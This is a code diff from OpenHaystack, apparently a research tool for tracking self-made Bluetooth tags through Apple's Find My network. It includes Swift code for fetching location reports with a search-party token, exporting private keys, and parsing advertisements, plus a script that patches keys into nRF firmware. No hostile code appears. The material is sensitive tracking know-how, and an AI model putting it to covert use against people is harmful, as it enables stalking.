// Important: You have to keep the returned value allocated,
|
||||
// otherwise the sink subscription gets cancelled
|
||||
self.listElementsObserver.append(c)
|
||||
})
|
||||
}
|
||||
|
||||
func save() throws {
|
||||
try KeychainController.storeInKeychain(accessories: self.accessories)
|
||||
}
|
||||
|
||||
func load() {
|
||||
self.accessories = KeychainController.loadAccessoriesFromKeychain()
|
||||
}
|
||||
|
||||
func updateWithDecryptedReports(devices: [FindMyDevice]) {
|
||||
// Assign last locations
|
||||
for device in FindMyController.shared.devices {
|
||||
for device in devices {
|
||||
if let idx = self.accessories.firstIndex(where: { $0.id == Int(device.deviceId) }) {
|
||||
self.objectWillChange.send()
|
||||
let accessory = self.accessories[idx]
|
||||
@@ -49,8 +72,7 @@ class AccessoryController: ObservableObject {
|
||||
|
||||
accessory.lastLocation = report?.location
|
||||
accessory.locationTimestamp = report?.timestamp
|
||||
|
||||
self.accessories[idx] = accessory
|
||||
accessory.locations = device.decryptedReports
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -64,20 +86,200 @@ class AccessoryController: ObservableObject {
|
||||
withAnimation {
|
||||
self.accessories = accessories
|
||||
}
|
||||
try self.save()
|
||||
}
|
||||
|
||||
func addAccessory(with name: String, color: Color, icon: String) throws -> Accessory {
|
||||
let accessory = try Accessory(name: name, color: color, iconName: icon)
|
||||
|
||||
let accessories = self.accessories + [accessory]
|
||||
|
||||
func addAccessory() throws -> Accessory {
|
||||
let accessory = try Accessory()
|
||||
withAnimation {
|
||||
self.accessories = accessories
|
||||
self.accessories.append(accessory)
|
||||
}
|
||||
|
||||
try self.save()
|
||||
|
||||
return accessory
|
||||
}
|
||||
|
||||
/// Export the accessories property list so it can be imported at another location.
|
||||
func export(accessories: [Accessory]) throws -> URL {
|
||||
|
||||
let savePanel = NSSavePanel()
|
||||
// savePanel.allowedFileTypes = ["plist", "json"]
|
||||
if #available(macOS 12.0, *) {
|
||||
savePanel.allowedContentTypes = [.propertyList]
|
||||
} else {
|
||||
savePanel.allowedFileTypes = ["plist"]
|
||||
}
|
||||
|
||||
savePanel.canCreateDirectories = true
|
||||
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
|
||||
savePanel.message = "This export contains all private keys! Keep the file save to protect your location data"
|
||||
savePanel.nameFieldLabel = "Filename"
|
||||
savePanel.nameFieldStringValue = "openhaystack_accessories"
|
||||
savePanel.prompt = "Export"
|
||||
savePanel.title = "Export accessories & keys"
|
||||
savePanel.isExtensionHidden = false
|
||||
|
||||
let accessoryView = NSView()
|
||||
let popUpButton = NSPopUpButton(title: "File type", target: self, action: #selector(exportFileTypeChanged(button:)))
|
||||
popUpButton.addItems(withTitles: ["Property List", "JSON"])
|
||||
popUpButton.selectItem(at: 0)
|
||||
popUpButton.stringValue = "File type"
|
||||
popUpButton.translatesAutoresizingMaskIntoConstraints = false
|
||||
accessoryView.addSubview(popUpButton)
|
||||
|
||||
let popUpButtonLabel = NSTextField(labelWithString: "File type")
|
||||
popUpButtonLabel.translatesAutoresizingMaskIntoConstraints = false
|
||||
accessoryView.addSubview(popUpButtonLabel)
|
||||
accessoryView.translatesAutoresizingMaskIntoConstraints = false
|
||||
|
||||
// popUpButtonLabel.leadingAnchor.constraint(greaterThanOrEqualTo: accessoryView.leadingAnchor, constant: 20.0).isActive = true
|
||||
popUpButtonLabel.trailingAnchor.constraint(equalTo: popUpButton.leadingAnchor, constant: -8.0).isActive = true
|
||||
popUpButtonLabel.trailingAnchor.constraint(lessThanOrEqualTo: accessoryView.centerXAnchor, constant: 0).isActive = true
|
||||
popUpButtonLabel.centerYAnchor.constraint(equalTo: popUpButton.centerYAnchor, constant: 0).isActive = true
|
||||
// popUpButton.trailingAnchor.constraint(lessThanOrEqualTo: accessoryView.trailingAnchor, constant: -20.0).isActive = true
|
||||
popUpButton.leadingAnchor.constraint(lessThanOrEqualTo: accessoryView.centerXAnchor, constant: 0).isActive = true
|
||||
popUpButton.topAnchor.constraint(equalTo: accessoryView.topAnchor, constant: 8.0).isActive = true
|
||||
popUpButton.bottomAnchor.constraint(equalTo: accessoryView.bottomAnchor, constant: -8.0).isActive = true
|
||||
popUpButton.heightAnchor.constraint(greaterThanOrEqualToConstant: 20.0).isActive = true
|
||||
popUpButton.widthAnchor.constraint(lessThanOrEqualToConstant: 200.0).isActive = true
|
||||
|
||||
savePanel.accessoryView = accessoryView
|
||||
self.savePanel = savePanel
|
||||
|
||||
let result = savePanel.runModal()
|
||||
|
||||
if result == .OK,
|
||||
var url = savePanel.url
|
||||
{
|
||||
let selectedItemIndex = popUpButton.indexOfSelectedItem
|
||||
|
||||
// Store the accessory file
|
||||
if selectedItemIndex == 0 {
|
||||
if url.pathExtension != "plist" {
|
||||
url = url.appendingPathExtension("plist")
|
||||
}
|
||||
let propertyList = try PropertyListEncoder().encode(accessories)
|
||||
try propertyList.write(to: url)
|
||||
} else if selectedItemIndex == 1 {
|
||||
if url.pathExtension != "json" {
|
||||
url = url.appendingPathExtension("json")
|
||||
}
|
||||
let jsonObject = try JSONEncoder().encode(accessories)
|
||||
try jsonObject.write(to: url)
|
||||
}
|
||||
|
||||
return url
|
||||
}
|
||||
throw ImportError.cancelled
|
||||
}
|
||||
|
||||
@objc func exportFileTypeChanged(button: NSPopUpButton) {
|
||||
if button.indexOfSelectedItem == 0 {
|
||||
if #available(macOS 12.0, *) {
|
||||
self.savePanel?.allowedContentTypes = [.propertyList]
|
||||
} else {
|
||||
self.savePanel?.allowedFileTypes = ["plist"]
|
||||
}
|
||||
} else {
|
||||
if #available(macOS 12.0, *) {
|
||||
self.savePanel?.allowedContentTypes = [.json]
|
||||
} else {
|
||||
self.savePanel?.allowedFileTypes = ["json"]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Let the user select a file to import the accessories exported by another OpenHaystack instance.
|
||||
func importAccessories() throws {
|
||||
let openPanel = NSOpenPanel()
|
||||
if #available(macOS 12.0, *) {
|
||||
openPanel.allowedContentTypes = [.json, .propertyList]
|
||||
} else {
|
||||
openPanel.allowedFileTypes = ["json", "plist"]
|
||||
}
|
||||
|
||||
openPanel.canCreateDirectories = true
|
||||
openPanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
|
||||
openPanel.message = "Import an accessories file that includes the private keys"
|
||||
openPanel.prompt = "Import"
|
||||
openPanel.title = "Import accessories & keys"
|
||||
|
||||
let result = openPanel.runModal()
|
||||
if result == .OK,
|
||||
let url = openPanel.url
|
||||
{
|
||||
let accessoryData = try Data(contentsOf: url)
|
||||
var importedAccessories: [Accessory]
|
||||
if url.pathExtension == "plist" {
|
||||
importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: accessoryData)
|
||||
} else {
|
||||
importedAccessories = try JSONDecoder().decode([Accessory].self, from: accessoryData)
|
||||
}
|
||||
|
||||
var updatedAccessories = self.accessories
|
||||
// Filter out accessories with the same id (no duplicates)
|
||||
importedAccessories = importedAccessories.filter({ acc in !self.accessories.contains(where: { acc.id == $0.id }) })
|
||||
updatedAccessories.append(contentsOf: importedAccessories)
|
||||
updatedAccessories.sort(by: { $0.name < $1.name })
|
||||
|
||||
self.accessories = updatedAccessories
|
||||
|
||||
//Update reports automatically. Do not report errors from here
|
||||
self.downloadLocationReports { result in }
|
||||
}
|
||||
}
|
||||
|
||||
enum ImportError: Error {
|
||||
case cancelled
|
||||
}
|
||||
|
||||
//MARK: Location reports
|
||||
|
||||
/// Download the location reports from.
|
||||
///
|
||||
/// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
|
||||
func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) {
|
||||
AnisetteDataManager.shared.requestAnisetteData { [weak self] result in
|
||||
guard let self = self else {
|
||||
completion(.failure(.noReportsFound))
|
||||
return
|
||||
}
|
||||
switch result {
|
||||
case .failure(_):
|
||||
completion(.failure(.activatePlugin))
|
||||
case .success(let accountData):
|
||||
let token = accountData.searchPartyToken ?? self.searchPartyToken.data(using: .utf8) ?? Data()
|
||||
if token.isEmpty {
|
||||
completion(.failure(.searchPartyToken))
|
||||
return
|
||||
}
|
||||
|
||||
self.findMyController.fetchReports(for: self.accessories, with: token) { [weak self] result in
|
||||
switch result {
|
||||
case .failure(let error):
|
||||
os_log(.error, "Downloading reports failed %@", error.localizedDescription)
|
||||
switch error {
|
||||
case FindMyErrors.invalidSearchPartyToken:
|
||||
completion(.failure(.invalidSearchPartyToken))
|
||||
default:
|
||||
completion(.failure(.downloadingReportsFailed))
|
||||
}
|
||||
case .success(let devices):
|
||||
let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
|
||||
if reports.isEmpty {
|
||||
completion(.failure(.noReportsFound))
|
||||
} else {
|
||||
self?.updateWithDecryptedReports(devices: devices)
|
||||
completion(.success(()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
class AccessoryControllerPreview: AccessoryController {
|
||||
override func save() {
|
||||
// don't allow saving dummy data to keychain
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
class AccessoryNearbyMonitor: BluetoothAccessoryDelegate {
|
||||
|
||||
var accessoryController: AccessoryController
|
||||
var scanner: BluetoothAccessoryScanner
|
||||
|
||||
var cleanup: Timer?
|
||||
|
||||
init(accessoryController: AccessoryController) {
|
||||
self.accessoryController = accessoryController
|
||||
self.scanner = BluetoothAccessoryScanner()
|
||||
self.initScanner()
|
||||
self.initTimer()
|
||||
}
|
||||
|
||||
func initScanner() {
|
||||
self.scanner.delegate = self
|
||||
}
|
||||
|
||||
func initTimer() {
|
||||
self.cleanup = Timer.scheduledTimer(withTimeInterval: 1.0, repeats: true) { [weak self] _ in
|
||||
self?.removeNearbyAccessories()
|
||||
}
|
||||
}
|
||||
|
||||
func received(_ advertisement: Advertisement) {
|
||||
guard let accessory = getAccessoryForAdvertisement(advertisement) else {
|
||||
return
|
||||
}
|
||||
updateNearbyAccessory(accessory)
|
||||
}
|
||||
|
||||
func updateNearbyAccessory(_ accessory: Accessory) {
|
||||
if !accessory.isNearby {
|
||||
// Only set on state change
|
||||
accessory.isNearby = true
|
||||
}
|
||||
accessory.lastAdvertisement = Date()
|
||||
}
|
||||
|
||||
func removeNearbyAccessories(now: Date = Date(), timeout: TimeInterval = 120.0) {
|
||||
let nearbyAccessories = self.accessoryController.accessories.filter({ $0.isNearby })
|
||||
for accessory in nearbyAccessories {
|
||||
guard let lastAdvertisement = accessory.lastAdvertisement else {
|
||||
continue
|
||||
}
|
||||
if lastAdvertisement + timeout < now {
|
||||
accessory.isNearby = false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getAccessoryForAdvertisement(_ advertisement: Advertisement) -> Accessory? {
|
||||
let accessory =
|
||||
self.accessoryController.accessories.first {
|
||||
isAdvertisement(advertisement, from: $0)
|
||||
} ?? nil
|
||||
return accessory
|
||||
}
|
||||
|
||||
func isAdvertisement(_ advertisement: Advertisement, from: Accessory) -> Bool {
|
||||
do {
|
||||
let accessoryPublicKey = try from.getAdvertisementKey().advanced(by: 6)
|
||||
return accessoryPublicKey == advertisement.publicKeyPayload
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import CoreBluetooth
|
||||
import Foundation
|
||||
|
||||
struct Advertisement {
|
||||
|
||||
let publicKeyPayload: Data
|
||||
|
||||
init?(fromAdvertisementData: [String: Any]) {
|
||||
guard let manufacturerData = fromAdvertisementData[CBAdvertisementDataManufacturerDataKey] as? Data else {
|
||||
return nil
|
||||
}
|
||||
self.init(fromManufacturerData: manufacturerData)
|
||||
}
|
||||
|
||||
init?(fromManufacturerData: Data) {
|
||||
guard let publicKey = Advertisement.extractPublicKeyFromPayload(fromManufacturerData) else {
|
||||
return nil
|
||||
}
|
||||
self.publicKeyPayload = publicKey
|
||||
}
|
||||
|
||||
static let publicKeyPayloadLength = 22
|
||||
|
||||
static func extractPublicKeyFromPayload(_ payload: Data) -> Data? {
|
||||
guard payload.count == 29 else {
|
||||
return nil
|
||||
}
|
||||
// Apple company ID
|
||||
guard payload.subdata(in: 0..<2) == Data([0x4c, 0x00]) else {
|
||||
return nil
|
||||
}
|
||||
// Offline finding sub type
|
||||
guard payload.subdata(in: 2..<3) == Data([0x12]) else {
|
||||
return nil
|
||||
}
|
||||
// Offline finding sub type length
|
||||
guard payload.subdata(in: 3..<4) == Data([0x19]) else {
|
||||
return nil
|
||||
}
|
||||
let publicKey = payload.subdata(in: 5..<5 + publicKeyPayloadLength)
|
||||
guard publicKey.count == publicKeyPayloadLength else {
|
||||
return nil
|
||||
}
|
||||
return publicKey
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import CoreBluetooth
|
||||
import Foundation
|
||||
|
||||
protocol BluetoothAccessoryDelegate {
|
||||
func received(_ advertisement: Advertisement)
|
||||
}
|
||||
|
||||
public class BluetoothAccessoryScanner: NSObject, CBCentralManagerDelegate {
|
||||
|
||||
var scanner: CBCentralManager!
|
||||
var delegate: BluetoothAccessoryDelegate?
|
||||
|
||||
override init() {
|
||||
super.init()
|
||||
scanner = CBCentralManager(delegate: self, queue: DispatchQueue.main)
|
||||
}
|
||||
|
||||
public func centralManagerDidUpdateState(_ central: CBCentralManager) {
|
||||
startScanning(central)
|
||||
}
|
||||
|
||||
private func startScanning(_ central: CBCentralManager) {
|
||||
guard central.state == .poweredOn else {
|
||||
return
|
||||
}
|
||||
let scanOptions = [
|
||||
CBCentralManagerScanOptionAllowDuplicatesKey: false
|
||||
]
|
||||
scanner.scanForPeripherals(withServices: nil, options: scanOptions)
|
||||
}
|
||||
|
||||
public func centralManager(_ central: CBCentralManager, didDiscover peripheral: CBPeripheral, advertisementData: [String: Any], rssi RSSI: NSNumber) {
|
||||
guard let adv = Advertisement(fromAdvertisementData: advertisementData) else {
|
||||
return
|
||||
}
|
||||
self.delegate?.received(adv)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
extension Data {
|
||||
/// A hexadecimal string representation of the bytes.
|
||||
func hexEncodedString() -> String {
|
||||
let hexDigits = Array("0123456789abcdef".utf16)
|
||||
var hexChars = [UTF16.CodeUnit]()
|
||||
hexChars.reserveCapacity(count * 2)
|
||||
|
||||
for byte in self {
|
||||
let (index1, index2) = Int(byte).quotientAndRemainder(dividingBy: 16)
|
||||
hexChars.append(hexDigits[index1])
|
||||
hexChars.append(hexDigits[index2])
|
||||
}
|
||||
|
||||
return String(utf16CodeUnits: hexChars, count: hexChars.count)
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,10 @@
|
||||
//
|
||||
// ESP32Controller.swift
|
||||
// OpenHaystack
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Created by Alex - SEEMOO on 09.03.21.
|
||||
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
@@ -13,17 +14,17 @@ struct ESP32Controller {
|
||||
Bundle.main.resourceURL?.appendingPathComponent("ESP32")
|
||||
}
|
||||
|
||||
/// Tries to find the port / path at which the ESP32 module is attached
|
||||
/// Tries to find the port / path at which the ESP32 module is attached.
|
||||
static func findPort() -> [URL] {
|
||||
// List all ports
|
||||
let ports = try? FileManager.default.contentsOfDirectory(atPath: "/dev").filter({$0.contains("cu.")})
|
||||
let ports = try? FileManager.default.contentsOfDirectory(atPath: "/dev").filter({ $0.contains("cu.") })
|
||||
|
||||
let portURLs = ports?.map({URL(fileURLWithPath: "/dev/\($0)")})
|
||||
let portURLs = ports?.map({ URL(fileURLWithPath: "/dev/\($0)") })
|
||||
|
||||
return portURLs ?? []
|
||||
}
|
||||
|
||||
/// Runs the script to flash the firmware on an ESP32
|
||||
/// Runs the script to flash the firmware on an ESP32.
|
||||
static func flashToESP32(accessory: Accessory, port: URL, completion: @escaping (Result<Void, Error>) -> Void) throws {
|
||||
|
||||
// Copy firmware to a temporary directory
|
||||
@@ -33,7 +34,7 @@ struct ESP32Controller {
|
||||
|
||||
try? FileManager.default.createDirectory(atPath: temp, withIntermediateDirectories: false, attributes: nil)
|
||||
|
||||
guard let espDirectory = espFirmwareDirectory else {return}
|
||||
guard let espDirectory = espFirmwareDirectory else { return }
|
||||
|
||||
try FileManager.default.copyFolder(from: espDirectory, to: urlTemp)
|
||||
let scriptPath = urlTemp.appendingPathComponent("flash_esp32.sh")
|
||||
@@ -61,6 +62,6 @@ struct ESP32Controller {
|
||||
enum FirmwareFlashError: Error {
|
||||
/// Missing files for flashing
|
||||
case notFound
|
||||
/// Flashing / writing failed
|
||||
/// Flashing / writing failed
|
||||
case flashFailed
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
//
|
||||
// FileManager.swift
|
||||
// OpenHaystack
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Created by Alex - SEEMOO on 09.03.21.
|
||||
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
extension FileManager {
|
||||
@@ -30,8 +30,14 @@ extension FileManager {
|
||||
if isDir.boolValue == true {
|
||||
try self.copyFolder(from: fileURL, to: to.appendingPathComponent(file))
|
||||
} else {
|
||||
// Copy file
|
||||
try FileManager.default.copyItem(at: fileURL, to: to.appendingPathComponent(file))
|
||||
do {
|
||||
// Copy file
|
||||
try self.createFile(atPath: to.appendingPathComponent(file).path, contents: Data(contentsOf: fileURL), attributes: nil)
|
||||
} catch {
|
||||
if fileURL.lastPathComponent != "CodeResources" {
|
||||
throw error
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BIN
OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
Normal file → Executable file
BIN
OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
Normal file → Executable file
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
120
OpenHaystack/OpenHaystack/HaystackApp/Firmwares/NRF/flash_nrf.py
Executable file
120
OpenHaystack/OpenHaystack/HaystackApp/Firmwares/NRF/flash_nrf.py
Executable file
@@ -0,0 +1,120 @@
|
||||
#!/bin/python3
|
||||
from pynrfjprog import LowLevel
|
||||
from intelhex import IntelHex
|
||||
from base64 import b64decode
|
||||
import argparse
|
||||
|
||||
|
||||
def flash_openhaystack_fw(public_key, symmetric_key, update_interval, hex_path, snr=None):
|
||||
"""
|
||||
Flash openhaystack firmware to device
|
||||
@param (optional) int snr: Specify serial number of DK to run example on.
|
||||
"""
|
||||
# Check if paramters are valid
|
||||
if len(public_key) != 57:
|
||||
pk_len = len(public_key)
|
||||
print(f'[!] Public key should be 57 bytes but is {pk_len} bytes')
|
||||
exit(-1)
|
||||
|
||||
if len(symmetric_key) != 32:
|
||||
sk_len = len(symmetric_key)
|
||||
print(f'[!] Symmetric key should be 32 bytes but is {sk_len} bytes')
|
||||
exit(-1)
|
||||
|
||||
if not 0 < update_interval < 4294967295:
|
||||
print(f'[!] Update interval is {update_interval}, but must be bigger than 0 but smaller than 4294967295 (0xFFFFFFFF)')
|
||||
exit(-1)
|
||||
|
||||
# Detect the device family of your device. Initialize an API object with UNKNOWN family and read the device's
|
||||
# family. This step is performed so this example can be run in all devices without customer input.
|
||||
print('[*] Opening API with device family UNKNOWN, reading the device family.')
|
||||
with LowLevel.API(
|
||||
# Using with construction so there is no need to open or close the API class.
|
||||
LowLevel.DeviceFamily.UNKNOWN) as api:
|
||||
if snr is not None:
|
||||
api.connect_to_emu_with_snr(snr)
|
||||
else:
|
||||
api.connect_to_emu_without_snr()
|
||||
device_family = api.read_device_family()
|
||||
|
||||
print(f'[*] Opening API with device family {device_family}, reading the device version.')
|
||||
with LowLevel.API(device_family) as api:
|
||||
# Open the loaded DLL and connect to an emulator probe. If several are connected a pop up will appear.
|
||||
if snr is not None:
|
||||
api.connect_to_emu_with_snr(snr)
|
||||
else:
|
||||
api.connect_to_emu_without_snr()
|
||||
device_version = api.read_device_version()
|
||||
|
||||
print(f'[*] Device version {device_version}')
|
||||
# Select hex file according to device family and device version
|
||||
hex_file_path = f'{hex_path}{device_family}_{device_version.split("_")[0]}_openHayStack.hex'
|
||||
|
||||
print(f'[*] Patching hex file \'{hex_file_path}\' with supplied keys')
|
||||
|
||||
# Open hex file and patch cryptographic keys
|
||||
ih = IntelHex(hex_file_path)
|
||||
|
||||
sk_address = ih.find(b'OFFLINEFINDINGSYMMETRICKEYHERE!')
|
||||
print(f'[*] SK address in hex file is {sk_address}')
|
||||
ih.puts(sk_address, symmetric_key)
|
||||
|
||||
pk_address = ih.find(b'OFFLINEFINDINGUNCOMPRESSEDPUBLICKEYHERE!AAAAAAAAAAAAAAAAA')
|
||||
print(f'[*] PK address in hex file is {pk_address}')
|
||||
ih.puts(pk_address, public_key)
|
||||
|
||||
update_interval_address = ih.find(b'\x37\x33\x33\x31')
|
||||
if update_interval_address - pk_address != 60:
|
||||
print(f'[!] {update_interval_address - pk_address} bytes between update interval and private key, but should be 60 bytes')
|
||||
exit(-1)
|
||||
print(f'[*] Update Interval address in hex file is {update_interval_address}')
|
||||
update_interval_hex = (update_interval).to_bytes(4, byteorder='little')
|
||||
ih.puts(update_interval_address, update_interval_hex)
|
||||
|
||||
# Initialize an API object with the target family. This will load nrfjprog.dll with the proper target family.
|
||||
api = LowLevel.API(device_family)
|
||||
# Open the loaded DLL and connect to an emulator probe. If several are connected a pop up will appear.
|
||||
api.open()
|
||||
try:
|
||||
if snr is not None:
|
||||
api.connect_to_emu_with_snr(snr)
|
||||
else:
|
||||
api.connect_to_emu_without_snr()
|
||||
|
||||
# Just for info
|
||||
device_version = api.read_device_version()
|
||||
print(f'[*] Device version {device_version}')
|
||||
|
||||
# Erase all the flash of the device
|
||||
print('[*] Erasing all flash in the microcontroller.')
|
||||
api.erase_all()
|
||||
|
||||
# Program the parsed hex into the device's memory
|
||||
print(f'[*] Writing patched {hex_file_path} to device.')
|
||||
for segment in ih.segments():
|
||||
api.write(segment[0], ih.gets(segment[0], segment[1] - segment[0]), True)
|
||||
|
||||
# Reset the device and run.
|
||||
api.sys_reset()
|
||||
api.go()
|
||||
print('[*] Program started')
|
||||
|
||||
# Close the loaded DLL to free resources.
|
||||
api.close()
|
||||
|
||||
print('[*] Flashed openHayStack Firmware successfully')
|
||||
|
||||
except LowLevel.APIError:
|
||||
api.close()
|
||||
raise
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Parse arguments given when calling the script via command line
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-pk', '--public-key', help="Base64 encoded Public key (29 bytes)", required=True)
|
||||
parser.add_argument('-sk', '--symmetric-key', help="Base64 encoded Symmetric key (32 bytes)", required=True)
|
||||
parser.add_argument('-ui', '--update-interval', help="Update interval for key derivation in minutes", required=True, type=int)
|
||||
parser.add_argument('-ph', '--path-to-hex', help="Path to hexfile, defaults to script folder", default="")
|
||||
args = vars(parser.parse_args())
|
||||
flash_openhaystack_fw(public_key=b64decode(args['public_key']), symmetric_key=b64decode(args['symmetric_key']), update_interval=args['update_interval'], hex_path=args['path_to_hex'])
|
||||
@@ -1,54 +1,37 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Directory of this script
|
||||
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
||||
cleanup() {
|
||||
echo "### done"
|
||||
}
|
||||
|
||||
# Defaults: Directory for the virtual environment
|
||||
VENV_DIR="$SCRIPT_DIR/venv"
|
||||
|
||||
# Defaults: Serial port to access the ESP32
|
||||
PORT=/dev/ttyS0
|
||||
|
||||
# Defaults: Fast baud rate
|
||||
BAUDRATE=921600
|
||||
|
||||
# Parameter parsing
|
||||
while [[ $# -gt 0 ]]; do
|
||||
KEY="$1"
|
||||
case "$KEY" in
|
||||
-p|--port)
|
||||
PORT="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-s|--slow)
|
||||
BAUDRATE=115200
|
||||
shift
|
||||
;;
|
||||
-v|--venvdir)
|
||||
VENV_DIR="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
echo "flash_esp32.sh - Flash the OpenHaystack firmware onto an ESP32 module"
|
||||
echo "flash_nrf.sh - Flash the OpenHaystack firmware onto a nRF board"
|
||||
echo ""
|
||||
echo " This script will create a virtual environment for the required tools."
|
||||
echo ""
|
||||
echo "Call: flash_esp32.sh [-p <port>] [-v <dir>] [-s] PUBKEY"
|
||||
echo "Call: flash_nrf.sh [-v <dir>] PUBLIC_KEY SYMMETRIC_KEY UPDATE_INTERVAL"
|
||||
echo ""
|
||||
echo "Required Arguments:"
|
||||
echo " PUBKEY"
|
||||
echo " The base64-encoded public key"
|
||||
echo " PUBLIC_KEY"
|
||||
echo " The base64-encoded public key"
|
||||
echo " SYMMETRIC_KEY"
|
||||
echo " The base64-encoded symmetric key"
|
||||
echo " UPDATE_INTERVAL"
|
||||
echo " Refresh interval for key derivation in minutes"
|
||||
echo ""
|
||||
echo "Optional Arguments:"
|
||||
echo " -h, --help"
|
||||
echo " Show this message and exit."
|
||||
echo " -p, --port <port>"
|
||||
echo " Specify the serial interface to which the device is connected."
|
||||
echo " -s, --slow"
|
||||
echo " Use 115200 instead of 921600 baud when flashing."
|
||||
echo " Might be required for long/bad USB cables or slow USB-to-Serial converters."
|
||||
echo " -v, --venvdir <dir>"
|
||||
echo " Select Python virtual environment with esptool installed."
|
||||
echo " If the directory does not exist, it will be created."
|
||||
@@ -58,6 +41,22 @@ while [[ $# -gt 0 ]]; do
|
||||
if [[ -z "$PUBKEY" ]]; then
|
||||
PUBKEY="$1"
|
||||
shift
|
||||
|
||||
if [[ -z "$SYMKEY" ]]; then
|
||||
SYMKEY="$1"
|
||||
shift
|
||||
|
||||
if [[ -z "$UPDATE_INTERVAL" ]]; then
|
||||
UPDATE_INTERVAL="$1"
|
||||
shift
|
||||
else
|
||||
echo "Got unexpected parameter $1"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "Got unexpected parameter $1"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "Got unexpected parameter $1"
|
||||
exit 1
|
||||
@@ -66,21 +65,36 @@ while [[ $# -gt 0 ]]; do
|
||||
esac
|
||||
done
|
||||
|
||||
|
||||
# Directory of this script
|
||||
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
||||
|
||||
# Defaults: Directory for the virtual environment
|
||||
VENV_DIR="$SCRIPT_DIR/venv"
|
||||
|
||||
# Sanity check: Pubkey exists
|
||||
if [[ -z "$PUBKEY" ]]; then
|
||||
echo "Missing public key, call with --help for usage"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Sanity check: Port
|
||||
if [[ ! -e "$PORT" ]]; then
|
||||
echo "$PORT does not exist, please specify a valid serial interface with the -p argument"
|
||||
# Sanity check: Symmetric key exists
|
||||
if [[ -z "$SYMKEY" ]]; then
|
||||
echo "Missing symmetric key, call with --help for usage"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
#Sanity check: update Interval exists
|
||||
if [[ -z "$UPDATE_INTERVAL" ]]; then
|
||||
echo "Missing update interval, call with --help for usage"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
# Setup the virtual environment
|
||||
if [[ ! -d "$VENV_DIR" ]]; then
|
||||
# Create the virtual environment
|
||||
echo "# Setting up python env in folder $VENV_DIR"
|
||||
PYTHON="$(which python3)"
|
||||
if [[ -z "$PYTHON" ]]; then
|
||||
PYTHON="$(which python)"
|
||||
